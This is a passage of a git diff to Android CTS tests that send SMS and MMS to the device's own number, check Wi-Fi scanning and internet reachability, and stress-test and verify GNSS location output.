+ if (pdu != null && pdu instanceof SendConf) {
+ final SendConf sendConf = (SendConf) pdu;
+ if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
+ mSuccess = true;
+ } else {
+ Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
+ }
+ } else {
+ Log.e(TAG, "Not a SendConf: " +
+ (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
+ }
+ } else {
+ Log.e(TAG, "Empty response");
+ }
+ } else {
+ Log.e(TAG, "Failure result=" + resultCode);
+ if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
+ final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
+ Log.e(TAG, "HTTP failure=" + httpError);
+ }
+ }
+ mDone = true;
+ mLatch.countDown();
+ }
+
+ public boolean waitForSuccess(long timeoutMs) throws Exception {
+ mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+ Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
+ return mDone && mSuccess;
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mRandom = new Random(System.currentTimeMillis());
+ mTelephonyManager =
+ (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+ mPackageManager = mContext.getPackageManager();
+ }
+
+ public void testSendSmsMessage() {
+ // this test is only for cts verifier
+ if (!isCtsVerifierTest()) {
+ return;
+ }
+ SmsManager smsManager = SmsManager.getDefault();
+ final String selfNumber = getPhoneNumber(mContext);
+ smsManager.sendTextMessage(selfNumber, null, SMS_MESSAGE_BODY, null, null);
+ }
+
+ public void testSendSmsDataMessage() {
+ // this test is only for cts verifier
+ if (!isCtsVerifierTest()) {
+ return;
+ }
+ SmsManager smsManager = SmsManager.getDefault();
+ final String selfNumber = getPhoneNumber(mContext);
+ smsManager.sendDataMessage(selfNumber, null, DEFAULT_DATA_SMS_PORT,
+ SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
+ }
+
+ public void testSendMmsMessage() throws Exception {
+ // this test is only for cts verifier
+ if (!isCtsVerifierTest()) {
+ return;
+ }
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+ || !doesSupportMMS()) {
+ Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
+ return;
+ }
+
+ Log.i(TAG, "testSendMmsMessage");
+ // Prime the MmsService so that MMS config is loaded
+ final SmsManager smsManager = SmsManager.getDefault();
+ // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
+ try {
+ Thread.sleep(MMS_CONFIG_DELAY_MILLIS);
+ } catch (InterruptedException e) {
+ // Ignore
+ }
+
+ final Context context = getContext();
+ // Register sent receiver
+ mSentReceiver = new SentReceiver();
+ context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
+ // Create local provider file for sending PDU
+ final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
+ final File sendFile = new File(context.getCacheDir(), fileName);
+ final String selfNumber = getPhoneNumber(context);
+ assertTrue(!TextUtils.isEmpty(selfNumber));
+ final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MMS_MESSAGE_BODY);
+ assertNotNull(pdu);
+ assertTrue(writePdu(sendFile, pdu));
+ final Uri contentUri = (new Uri.Builder())
+ .authority(PROVIDER_AUTHORITY)
+ .path(fileName)
+ .scheme(ContentResolver.SCHEME_CONTENT)
+ .build();
+ // Send
+ final PendingIntent pendingIntent = PendingIntent.getBroadcast(
+ context, 0, new Intent(ACTION_MMS_SENT), 0);
+ smsManager.sendMultimediaMessage(context,
+ contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
+ assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT_MILLIS));
+ sendFile.delete();
+ }
+
+ private static boolean writePdu(File file, byte[] pdu) {
+ FileOutputStream writer = null;
+ try {
+ writer = new FileOutputStream(file);
+ writer.write(pdu);
+ return true;
+ } catch (final IOException e) {
+ String stackTrace = Log.getStackTraceString(e);
+ Log.i(TAG, stackTrace);
+ return false;
+ } finally {
+ if (writer != null) {
+ try {
+ writer.close();
+ } catch (IOException e) {
+ }
+ }
+ }
+ }
+
+ private static byte[] buildPdu(Context context, String selfNumber, String subject,
+ String text) {
+ final SendReq req = new SendReq();
+ // From, per spec
+ req.setFrom(new EncodedStringValue(selfNumber));
+ // To
+ final String[] recipients = new String[1];
+ recipients[0] = selfNumber;
+ final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
+ if (encodedNumbers != null) {
+ req.setTo(encodedNumbers);
+ }
+ // Subject
+ if (!TextUtils.isEmpty(subject)) {
+ req.setSubject(new EncodedStringValue(subject));
+ }
+ // Date
+ req.setDate(System.currentTimeMillis() / 1000);
+ // Body
+ final PduBody body = new PduBody();
+ // Add text part. Always add a smil part for compatibility, without it there
+ // may be issues on some carriers/client apps
+ final int size = addTextPart(body, text, true/* add text smil */);
+ req.setBody(body);
+ // Message size
+ req.setMessageSize(size);
+ // Message class
+ req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
+ // Expiry
+ req.setExpiry(DEFAULT_EXPIRY_TIME_SECS);
+ // The following set methods throw InvalidHeaderValueException
+ try {
+ // Priority
+ req.setPriority(DEFAULT_PRIORITY);
+ // Delivery report
+ req.setDeliveryReport(PduHeaders.VALUE_NO);
+ // Read report
+ req.setReadReport(PduHeaders.VALUE_NO);
+ } catch (InvalidHeaderValueException e) {
+ return null;
+ }
+
+ return new PduComposer(context, req).make();
+ }
+
+ private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
+ final PduPart part = new PduPart();
+ // Set Charset if it's a text media.
+ part.setCharset(CharacterSets.UTF_8);
+ // Set Content-Type.
+ part.setContentType(ContentType.TEXT_PLAIN.getBytes());
+ // Set Content-Location.
+ part.setContentLocation(TEXT_PART_FILENAME.getBytes());
+ int index = TEXT_PART_FILENAME.lastIndexOf(".");
+ String contentId = (index == -1) ? TEXT_PART_FILENAME
+ : TEXT_PART_FILENAME.substring(0, index);
+ part.setContentId(contentId.getBytes());
+ part.setData(message.getBytes());
+ pb.addPart(part);
+ if (addTextSmil) {
+ final String smil = String.format(SMIL_TEXT, TEXT_PART_FILENAME);
+ addSmilPart(pb, smil);
+ }
+ return part.getData().length;
+ }
+
+ private static void addSmilPart(PduBody pb, String smil) {
+ final PduPart smilPart = new PduPart();
+ smilPart.setContentId("smil".getBytes());
+ smilPart.setContentLocation("smil.xml".getBytes());
+ smilPart.setContentType(ContentType.APP_SMIL.getBytes());
+ smilPart.setData(smil.getBytes());
+ pb.addPart(0, smilPart);
+ }
+
+ private static String getPhoneNumber(Context context) {
+ final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
+ Context.TELEPHONY_SERVICE);
+ String phoneNumber = telephonyManager.getLine1Number();
+ if (phoneNumber.trim().isEmpty()) {
+ phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
+ }
+ return phoneNumber;
+ }
+
+ private static boolean shouldParseContentDisposition() {
+ return SmsManager
+ .getDefault()
+ .getCarrierConfigValues()
+ .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
+ }
+
+ private static boolean doesSupportMMS() {
+ return SmsManager
+ .getDefault()
+ .getCarrierConfigValues()
+ .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
+ }
+
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
new file mode 100644
index 0000000..7ebb04a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiInfo;
+import android.telephony.TelephonyManager;
+import android.net.wifi.WifiManager;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This class is used to test Wifi realted features.
+ */
+public class EmergencyCallWifiTest extends GnssTestCase {
+
+ private final static String TAG = EmergencyCallWifiTest.class.getCanonicalName();
+ private final static String LATCH_NAME = "EmergencyCallWifiTest";
+ private final static String GOOGLE_URL = "www.google.com";
+ private final static int WEB_PORT = 80;
+ private static final int BATCH_SCAN_BSSID_LIMIT = 25;
+ private static final int WIFI_SCAN_TIMEOUT_SEC = 30;
+ private static final long SETTINGS_PERIOD_MS = TimeUnit.SECONDS.toMillis(4);
+ private static final long INTERNET_CONNECTION_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+ private static final int MIN_SCAN_COUNT = 1;
+
+ private WifiManager mWifiManager;
+ private Context mContext;
+ private WifiScanReceiver mWifiScanReceiver;
+ private int mScanCounter = 0;
+ private CountDownLatch mLatch;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mContext = getContext();
+ mWifiManager = (WifiManager) mContext.getSystemService(mContext.WIFI_SERVICE);
+ mWifiScanReceiver = new WifiScanReceiver();
+ }
+
+ public void testWifiScan() throws Exception {
+ mContext.registerReceiver(mWifiScanReceiver, new IntentFilter(
+ WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
+ mLatch = new CountDownLatch(1);
+ mWifiManager.startScan();
+ Log.d(TAG, "Waiting for wifiScan to complete.");
+ mLatch.await(WIFI_SCAN_TIMEOUT_SEC, TimeUnit.SECONDS);
+ if (mScanCounter < MIN_SCAN_COUNT) {
+ fail(String.format("Expected at least %d scans but only %d scans happened",
+ MIN_SCAN_COUNT, mScanCounter));
+ }
+ }
+
+ public void testWifiConnection() {
+ boolean isReachable =
+ isReachable(GOOGLE_URL, WEB_PORT, (int)INTERNET_CONNECTION_TIMEOUT);
+ assertTrue("Can not connect to google.com."
+ + " Please make sure device has the internet connection", isReachable);
+ }
+
+ private static boolean isReachable(String addr, int openPort, int timeOutMillis) {
+ try {
+ try (Socket soc = new Socket()) {
+ soc.connect(new InetSocketAddress(addr, openPort), timeOutMillis);
+ }
+ return true;
+ } catch (IOException ex) {
+ return false;
+ }
+ }
+
+ private class WifiScanReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context c, Intent intent) {
+ List <ScanResult> scanResults = mWifiManager.getScanResults();
+ Log.d(TAG, String.format("Got scan results with size %d", scanResults.size()));
+ for (ScanResult result : scanResults) {
+ Log.d(TAG, result.toString());
+ }
+ mScanCounter++;
+ mLatch.countDown();
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
new file mode 100644
index 0000000..cd230d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+/**
+ * Test the "gps" location output works through various rate changes
+ *
+ * Tests:
+ * 1. Toggle through various rates.
+ * 2. Mix toggling through various rates with start & stop.
+ *
+ * Inspired by bugs 65246279, 65425110
+ */
+
+public class GnssLocationRateChangeTest extends GnssTestCase {
+
+ private static final String TAG = "GnssLocationRateChangeTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 1;
+
+ private TestLocationListener mLocationListenerMain;
+ private TestLocationListener mLocationListenerAfterRateChanges;
+ // Various rates, where underlying GNSS hardware states may enter different modes
+ private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
+ private static final int LOOPS_FOR_STRESS_TEST = 20;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ // Using separate listeners, so the await trigger for the after-rate-changes listener is
+ // independent of any possible locations that flow during setup, and rate change stress
+ // testing
+ mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListenerMain != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+ if (mLocationListenerAfterRateChanges != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output
+ * remains responsive after all is done.
+ */
+ public void testVariedRates() throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ }
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+ * that may stress the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output remains responsive
+ * after all is done.
+ */
+ public void testVariedRatesOnOff() throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ // Also flip the requests on and off quickly
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+ * in multiple loops to provide additional stress to the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output remains responsive
+ * after all is done.
+ */
+ public void testVariedRatesRepetitive() throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ // Two loops, first without removes, then with removes
+ for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ }
+ }
+ for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ // Also flip the requests on and off quickly
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+ }
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 3411914..d2499a0 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -16,9 +16,7 @@
package android.location.cts;
-import android.location.Criteria;
import android.location.Location;
-import android.location.LocationManager;
import android.util.Log;
/**
@@ -133,14 +131,18 @@
success);
SoftAssert softAssert = new SoftAssert(TAG);
+ // don't check speed of first GNSS location - it may not be ready in some cases
+ boolean checkSpeed = false;
for (Location location : mLocationListener.getReceivedLocationList()) {
- checkLocationRegularFields(softAssert, location);
+ checkLocationRegularFields(softAssert, location, checkSpeed);
+ checkSpeed = true;
}
softAssert.assertAll();
}
- public static void checkLocationRegularFields(SoftAssert softAssert, Location location) {
+ public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
+ boolean checkSpeed) {
// For the altitude: the unit is meter
// The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
// Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
@@ -177,13 +179,16 @@
softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
location.getLatitude() >= -90 && location.getLatitude() <= 90);
- softAssert.assertTrue("All GNSS locations generated by the LocationManager "
- + "must have speeds.", location.hasSpeed());
+ if (checkSpeed) {
+ softAssert.assertTrue("All but the first GNSS location from LocationManager "
+ + "must have speeds.", location.hasSpeed());
+ }
- // For the speed, during the cts test device shouldn't move faster than 1m/s
+ // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
+ // to 5m/s for possible early fix noise in moderate signal test environments
if(location.hasSpeed()) {
- softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 1] m/s",
- location.getSpeed() >= 0 && location.getSpeed() <= 1);
+ softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
+ location.getSpeed() >= 0 && location.getSpeed() <= 5);
}
}
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index ec78ea3..d86d612 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -39,7 +39,7 @@
private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
private static final int MIN_SATELLITES_REQUIREMENT = 4;
private static final double SECONDS_PER_NANO = 1.0e-9;
- private static final double POSITION_THRESHOLD_IN_DEGREES = 0.003; // degrees (~= 300 meters)
+
// GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
// is 65-83 ms, which is 18 ms range.
// GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
@@ -58,6 +58,12 @@
// that are the short end of the range.
private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
+ private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
+ private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
+ private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
+ private static final float HORIZONTAL_OFFSET_SIGMA = 3; // 3 * the ~68%ile level
+ private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
+
private TestGnssMeasurementListener mMeasurementListener;
private TestLocationListener mLocationListener;
@@ -224,92 +230,173 @@
}
}
- /*
- * Use pseudorange calculation library to calculate position then compare to location from
- * Location Manager.
- */
- @CddTest(requirement="7.3.3")
- public void testPseudoPosition() throws Exception {
- // Checks if Gnss hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
- // From android O, CTS tests should run in the lab with GPS signal.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
- TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
- return;
+ /*
+ * Use pseudorange calculation library to calculate position then compare to location from
+ * Location Manager.
+ */
+ @CddTest(requirement = "7.3.3")
+ public void testPseudoPosition() throws Exception {
+ // Checks if Gnss hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+ // From android O, CTS tests should run in the lab with GPS signal.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
+ return;
+ }
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG,
+ MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ boolean success = mLocationListener.await();
+
+ List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
+ assertTrue("Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success && receivedLocationList.size() > 0);
+ Location locationFromApi = receivedLocationList.get(0);
+
+ // Since we are checking the eventCount later, there is no need to check the return value
+ // here.
+ mMeasurementListener.await();
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of Gps Event received = " + eventCount);
+ int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
+ if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
+ return;
+ }
+
+ Log.i(TAG, "This is a device from 2016 or later.");
+ assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+ eventCount > 0);
+
+ PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
+ = new PseudorangePositionVelocityFromRealTimeEvents();
+ mPseudorangePositionFromRealTimeEvents.setReferencePosition(
+ (int) (locationFromApi.getLatitude() * 1E7),
+ (int) (locationFromApi.getLongitude() * 1E7),
+ (int) (locationFromApi.getAltitude() * 1E7));
+
+ Log.i(TAG, "Location from Location Manager"
+ + ", Latitude:" + locationFromApi.getLatitude()
+ + ", Longitude:" + locationFromApi.getLongitude()
+ + ", Altitude:" + locationFromApi.getAltitude());
+
+ // Ensure at least some calculated locations have a reasonably low uncertainty
+ boolean someLocationsHaveLowPosUnc = false;
+ boolean someLocationsHaveLowVelUnc = false;
+
+ int totalCalculatedLocationCnt = 0;
+ for (GnssMeasurementsEvent event : events) {
+ // In mMeasurementListener.getEvents() we already filtered out events, at this point
+ // every event will have at least 4 satellites in one constellation.
+ mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
+ event);
+ double[] calculatedLatLngAlt =
+ mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
+ // it will return NaN when there is no enough measurements to calculate the position
+ if (Double.isNaN(calculatedLatLngAlt[0])) {
+ continue;
+ } else {
+ totalCalculatedLocationCnt++;
+ Log.i(TAG, "Calculated Location"
+ + ", Latitude:" + calculatedLatLngAlt[0]
+ + ", Longitude:" + calculatedLatLngAlt[1]
+ + ", Altitude:" + calculatedLatLngAlt[2]);
+
+ double[] posVelUncertainties =
+ mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
+
+ double horizontalPositionUncertaintyMeters =
+ Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
+ + posVelUncertainties[1] * posVelUncertainties[1]);
+
+ // Tolerate large offsets, when the device reports a large uncertainty - while also
+ // ensuring (here) that some locations are produced before the test ends
+ // with a reasonably low set of error estimates
+ if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
+ someLocationsHaveLowPosUnc = true;
+ }
+
+ // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
+ // 68%ile offset (given likely correlated errors) - then this is scaled by
+ // initially 3 sigma to give a high enough tolerance to make the test tolerant
+ // enough of noise to pass reliably. Floor adds additional robustness in case of
+ // small errors and small error estimates.
+ double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+ horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
+ + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
+ + HORIZONTAL_OFFSET_FLOOR_METERS;
+
+ Location calculatedLocation = new Location("gps");
+ calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
+ calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
+ calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
+
+ double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
+
+ Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
+ + ", Threshold: " + horizontalOffsetThresholdMeters);
+ assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
+ + "those reported from Location Manager. Offset = "
+ + horizontalOffset + " meters. Threshold = "
+ + horizontalOffsetThresholdMeters + " meters ",
+ horizontalOffset < horizontalOffsetThresholdMeters);
+
+ //TODO: Check for the altitude offset
+
+ // This 2D velocity uncertainty is conservatively larger than speed uncertainty
+ // as it also contains the effect of bearing uncertainty at a constant speed
+ double horizontalVelocityUncertaintyMps =
+ Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
+ + posVelUncertainties[5] * posVelUncertainties[5]);
+ if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
+ someLocationsHaveLowVelUnc = true;
+ }
+
+ // Assume 1m/s uncertainty from API, for this test, if not provided
+ float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
+ ? locationFromApi.getSpeedAccuracyMetersPerSecond()
+ : HORIZONTAL_OFFSET_FLOOR_MPS;
+
+ // Similar 3-standard deviation plus floor threshold as
+ // horizontalOffsetThresholdMeters above
+ double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+ horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
+ + speedUncFromApiMps * speedUncFromApiMps)
+ + HORIZONTAL_OFFSET_FLOOR_MPS;
+
+ double[] calculatedVelocityEnuMps =
+ mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
+ double calculatedHorizontalSpeedMps =
+ Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
+ + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
+
+ Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
+ + ", Reported Speed: " + locationFromApi.getSpeed()
+ + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
+ assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
+ + " pseudoranges should be close to the speed ("
+ + locationFromApi.getSpeed() + " m/s) reported from"
+ + " Location Manager.",
+ Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
+ < horizontalSpeedOffsetThresholdMps);
+ }
+ }
+
+ assertTrue("Calculated Location Count should be greater than 0.",
+ totalCalculatedLocationCnt > 0);
+ assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
+ + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
+ someLocationsHaveLowPosUnc);
+ assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
+ + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
+ someLocationsHaveLowVelUnc);
}
-
- mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener = new TestGnssMeasurementListener(TAG,
- MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- boolean success = mLocationListener.await();
-
- List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
- assertTrue("Time elapsed without getting enough location fixes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success && receivedLocationList.size() > 0);
- Location locationFromApi = receivedLocationList.get(0);
-
- // Since we are checking the eventCount later, there is no need to check the return value here.
- mMeasurementListener.await();
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- int eventCount = events.size();
- Log.i(TAG, "Number of Gps Event received = " + eventCount);
- int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
- if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
- return;
- }
-
- Log.i(TAG, "This is a device from 2016 or later.");
- assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
- eventCount > 0);
-
- PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
- = new PseudorangePositionVelocityFromRealTimeEvents();
- mPseudorangePositionFromRealTimeEvents.setReferencePosition(
